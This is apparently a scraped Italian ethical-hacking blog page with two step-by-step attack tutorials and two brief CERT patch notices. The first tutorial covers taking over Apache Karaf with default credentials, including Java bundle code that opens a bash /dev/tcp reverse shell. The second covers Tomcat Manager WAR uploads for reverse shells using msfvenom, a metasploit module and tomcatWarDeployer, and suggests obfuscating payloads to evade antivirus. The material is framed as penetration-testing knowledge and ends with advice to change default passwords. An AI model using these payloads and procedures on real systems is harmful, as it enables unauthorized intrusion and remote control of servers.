Apache Karaf è un contenitore di applicazioni, può essere utilizzato come contenitore autonomo, supportando una vasta gamma di applicazioni e tecnologie. Supporta anche il concetto “run anywhere” (su qualsiasi macchina con Java, cloud, immagini docker, …) utilizzando la modalità embedded. Karaf viene principalmente utilizzato per microservizi, integrazione di sistemi, grandi dati ed è alimentato da OSGi. Molte volte, durante un assessment infrastrutturale, mi è capitato di incontrarlo, e nel 90% dei casi viene implementato in maniera insicura, lasciando la possibilità ad un attaccante di compromettere completamente il sistema.
Home on Hacktips – Guide di Sicurezza Informatica e Hacking Etico
Apache Karaf è un contenitore di applicazioni, può essere utilizzato come contenitore autonomo, supportando una vasta gamma di applicazioni e tecnologie. Supporta anche il concetto “run anywhere” (su qualsiasi macchina con Java, cloud, immagini docker, …) utilizzando la modalità embedded. Karaf viene principalmente utilizzato per microservizi, integrazione di sistemi, grandi dati ed è alimentato da OSGi.
Molte volte, durante un assessment infrastrutturale, mi è capitato di incontrarlo, e nel 90% dei casi viene implementato in maniera insicura, lasciando la possibilità ad un attaccante di compromettere completamente il sistema. In questo articolo andremo a visionare i modi principali per riuscire a violare il servizio
NB: partiamo dall’assunzione che l’incauto amministratore del servizio abbia lasciato abilitate le credenziali di default, che sono
- username: karaf
- password: karaf
Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunque altra coppia di credenziali valide.
Introduzione
Quando viene avviato, di default Karaf attiva tre servizi diversi:
- 1099 con Java RMI
- 8101 dove risiede un client ssh con le stesse credenziali di prima
- 8181 dove c’è la web console
Nella scansione effettuata possiamo vedere come i tre servizi indicati precedentemente sono aperti. Vediamoli uno ad uno.
Java RMI – Porte 1099 e 37175
Andando ad indagare la porta con nmap (comando: nmap -p1099 -sTV –script vuln,discovery IP) possiamo vedere come viene stampato il registro JMX. Karaf lo utilizza principalmente per effettuare monitoraggio della macchina virtuale e del sistema, ma un attaccante potrebbe sfruttarlo in maniera completamente diversa.
Per poterci connettere è necessario usare Jconsole ed inserire il seguente puntamento:
service:jmx:rmi://192.168.1.99:37175/jndi/rmi://192.168.1.99:1099/karaf-root
Dove la prima porta fa riferimento a JMX, mentre la seconda ad RMI.
Una volta connessi avremo davanti a noi moltissime informazioni sensibili, come la versione di OpenJDK, la versione del sistema operativo, e altre informazioni contenute nel tab MBeans.
Per ottenere una shell remota, dobbiamo andare a crearne una in Java. Per velocizzare il tutto ho deciso di seguire questa guida che si traduce (dopo aver installato mvn), nell’eseguire il comando
mvn archetype:generate -DarchetypeGroupId=org.apache.karaf.archetypes -DarchetypeArtifactId=karaf-bundle-archetype -DarchetypeVersion=2.2.11 -DgroupId=it.html.tutorial -DartifactId=karaf-helloworld -Dversion=1.0 -Dpackage=it.html.tutorial.karaf.helloworld
Una volta eseguito troveremo all’interno della cartella appena creata il nostro file Java contenente un classico HelloWorld.java. Visto che noi vogliamo creare una reverse shell, vado a sostituire il contenuto con questo codice
import org.osgi.framework.BundleActivator; import org.osgi.framework.BundleContext; import java.lang.*; public class Activator implements BundleActivator { @Override public void start(BundleContext bundleContext) throws Exception { System.out.println("STARTING"); ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.99/8686;cat <&5 | while read line; do $ line 2>&5 >&5; done"); Process proc = pb.start(); } @Override public void stop(BundleContext bundleContext) throws Exception { System.out.println("STOPPING"); } }E poi lo compiliamo con
mvn clean install
NB: durante la compilazione ho avuto due problemi:
- Usando la versione 13 di java sembra che dia problemi, quindi ho usato la 11 (con il comando
sudo update-alternatives --config java) - il pom.xml ha dato problemi e ho dovuto inserire queste due righe aggiuntive
Ora che abbiamo il file jar, ci basterà caricarlo all’interno del bundle in Jconsole (Nel path org.apache.karaf -> bundle -> root -> Operations -> install). Per copiarlo dal mio host al target ho avviato un server con python sulla porta 9090
Cliccando su Install il file andrà ad installarsi all’interno dei bundles di Karaf
Per avviarlo, ci basterà:
- Avviare netcat sulla porta stabilita prima (8686)
- Avviare il jar tramite Jconsole inserendo il suo nome (karaf-helloworld)
Ed ecco che abbiamo ottenuto una shell in pochissimi passi.
SSH – Porta 8101
Come anticipavo prima, sulla porta 8101 è presente un server SSH gentilmente fornitoci da karaf che viene abilitato di default con le stesse credenziali di default
Per eseguire comandi basterà digitare
shell:exec CMD
e verranno eseguiti.
Per creare una reverse shell basterà quindi eseguirla direttamente da li, con netcat o il metodo che preferite
Interfaccia Web
Karaf sulla porta 8181 ha un’interfaccia web come Tomcat dalla quale possiamo effettuare lo stesso procedimento di prima, solo che in maniera molto più comoda.
Inseriamo le credenziali e andiamo al path /system/console/bundles (altrimenti il server da errore 403). Da qui, con lo stesso file creato precedentemente, andiamo ad installare un nuovo pacchetto tramite l’interfaccia
Avviamo netcat e startiamo il nuovo jar appena caricato
Conclusioni
Il problema di Karaf (come tanti altri software simili) è che se non vengono cambiate le impostazioni di default, esse attivano una serie di servizi dei quali lo sviluppatore/sistemista non è a conoscenza e permettono ad utenti esterni di sfruttarli a fini malevoli; vanno assolutamente disattivati se non utilizzati.
Nel remoto caso in cui servano, è sufficiente cambiare la password di default in modo da non permettere ad utenti non autorizzati di entrare nel sistema.
Di seguito alcuni articoli che mi hanno aiutato a studiare l’argomento:
- https://2xxe.com/posts/6/
- https://posts.specterops.io/shelling-apache-felix-with-java-bundles-2450d3a099a
- https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2017/february/compromising-apache-tomcat-via-jmx-access/
- https://quentinkaiser.be/pentesting/2018/02/13/osgi-console/
Hits: 665
L’articolo Violare Apache Karaf con tre diverse metodologie proviene da HackTips.
Google ha rilasciato la versione 78 del suo browser Chrome per Windows, macOS e Linux. L’aggiornamento contiene 37 fix di sicurezza e risolve diverse vulnerabilità di cui tre di gravità elevata.
News – CERT Nazionale Italia
Il Joomla! Project ha rilasciato la versione 3.9.7 del suo CMS che risolve tre vulnerabilità di bassa gravità nel codice “core” dell’applicazione.
News – CERT Nazionale Italia
VIOLARE TOMCAT TRAMITE UPLOAD DI UN FILE WAR MALEVOLO CON TRE DIVERSE METODOLOGIE
by TheInnocent
Introduzione
Tomcat è un web server opensource tra i più utilizzati al mondo, è sviluppato da Apache e supporta l’esecuzione di Java Servlet e, dunque, di tutte le tecnologie che su di esse si basano. Essendo tanto diffuso, le tecniche di seguito illustrate possono essere applicate in una serie praticamente infinita di frangenti, rendendo la seguente trattazione, un’ottima guida introduttiva per ogni attacco a server Tomcat.
Tomcat Home Page
Credenziali di default
In questo articolo partiamo dall’assunzione che l’incauto amministratore del sito vittima, abbia lasciato abilitate le credenziali di default in Tomcat, che sono
username: tomcat
password: s3cret
Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunqe altra coppia di credenziali valide (altre password di default è possibile trovarle a questo indirizzo).
Definizione dell’entry point
Per trovare il nostro entry point, navighiamo verso
/manager/html
oppure, nella homepage, facciamo click sul pulsante con la scritta “Manager App”.
Ci verranno chieste le credenziali ma, come sottolineato in precedenza, questo non costituisce per noi un problema. Una volta aperta la pagina “Manager App”, vi troverete davanti la seguente schermata:
Tomcat Manager
Come vedete, la pagina presenta una sezione chiamata “WAR file to deploy”. Questo è il punto di accesso privilegiato da cui potremo caricare il nostro file war malevolo. Una volta fatto l’upload di quest’ultimo, sulla nostra macchina apriremo un listener da terminale sulla porta 4444 con il comando
nc -lvp 4444
dove:
- l indica la modalità “in ascolto” (listener);
- v sta per “verbose”;
- p per “port”.
Fatto questo, eseguiremo il file caricato con successo, da browser, facendo click su “deploy” e, in seguito, semplicemente richiedendo la sua destinazione tipica:
http://sitovittima/nome_del_file_così_come_lo_avete_caricato.war
Una volta caricata quest’ultima pagina web, vedrete spuntare una shell dal vostro listener. Ma come procurarsi un file war adatto ai nostri scopi?
Oltre alla possibilità di scrivere voi stessi il file malevolo, in questo articolo vengono proposti tre differenti metodi, che portano tutti al medesimo risultato, ovvero una reverse-shell aperta sul sistema vittima.
Metodo #1
Il primo metodo consiste nel creare noi stessi il file .war avvalendoci di msfvenom. Msfvenom, è in grado di scrivere automaticamente numerosi tipi di payload, in grado di aprirci le porte del sistema vittima tramite una shell. Nel nostro caso, useremo il seguente comando, dove -f sta per “format” e -p sta per “payload”:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=il_nostro_ip LPORT=la_porta_del_listener -f war > shell.war
Msfvenom, completerà il suo compito in pochi secondi, restituendo un output molto minimalista:
Output msfvenom
Notare che, nel nostro comando, non abbiamo specificato una particolare directory di destinazione, quindi il file .war potrà essere trovato nella directory corrente da cui è stato eseguito il comando. Volendo crearlo in una directory differente, basterà anteporre il path al nome del file, per esempio
Scrivania/shell.war
Una volta creato il nostro payload, potremo farne l’upload su Tomcat da “Manager App”, eseguirlo facendo click nel browser su http://indirizzo_sito/shell.war e osservare compiaciuti la nostra shell apparire nel terminale dove avevamo aperto il listener con netcat.
Metodo #2
Il secondo metodo, si avvale direttamente di metasploit per eseguire l’intera procedura di apertura listener, uploading ed esecuzione del payload. L’unica cosa che dovremo fare sarà, come nel caso precedente, fornire le “coordinate” per permettere a metasploit di lavorare correttamente e aprire una connessione tra il server e il nostro pc. Per fare questo, una volta lanciata msfconsole, utilizzeremo
exploit/multi/http/tomcat_mgr_upload
come exploit, e
windows/meterpreter/reverse_tcp
come payload. Avremo cura poi di definire correttamente tutti i parametri quali: RHOST, RPORT, LHOST, LPORT, HttpUsername, HttpPassword, target. Infine, diamo il comando
run
e osserviamo metasploit fare per noi tutto il lavoro sporco, come si vede nella seguente schermata, in cui una shell meterpreter viene aperta con successo:
Shell ottenuta con MSFConsole
Metodo #3
Il terzo metodo, grazie ad un elevato livello di automazione, permette di eseguire tutta la proceduta vista nei due metodi precedenti, con un unico comando. Per fare ciò, dovremo scaricare sul nostro pc tomcatWarDeployer, un interessante tool messo a disposizione da mgeeky su github, all’indirizzo
https://github.com/mgeeky/tomcatWarDeployer
Una volta scaricato il programma, ci basterà digitare, sul nostro pc, il seguente comando da terminale, per aprire una shell sul sistema vittima:
python tomcatWarDeployer.py -v -x -P s3cret -U tomcat -p porta_listener -H mio_ip ip_server_vittima:8080
Ancora una volta, si assume che le credenziali di accesso siano già in nostro possesso. Nella seguente schermata, potete osservare l’esecuzione del comando e la shell che si apre con successo nel nostro terminale:
Esecuzione dello script
Shell ottenuta
Conclusioni
Come avrete notato, ci sono differenti metodi per poter ottenere una shell da Tomcat Manager. Nel caso in cui sul sistema sia presente un antivirus, è possibile che la reverse shell venga identificata ed eliminata, ma giocando con le impostazioni di msfvenom si potrebbe ofuscare il payload. E, nel caso abbiate un Tomcat Manager con le credenziali di default..cambiatele!
Hits: 456
L’articolo Violare Tomcat tramite upload di un file war malevolo con tre diverse metodologie proviene da HackTips.
- 1
- 2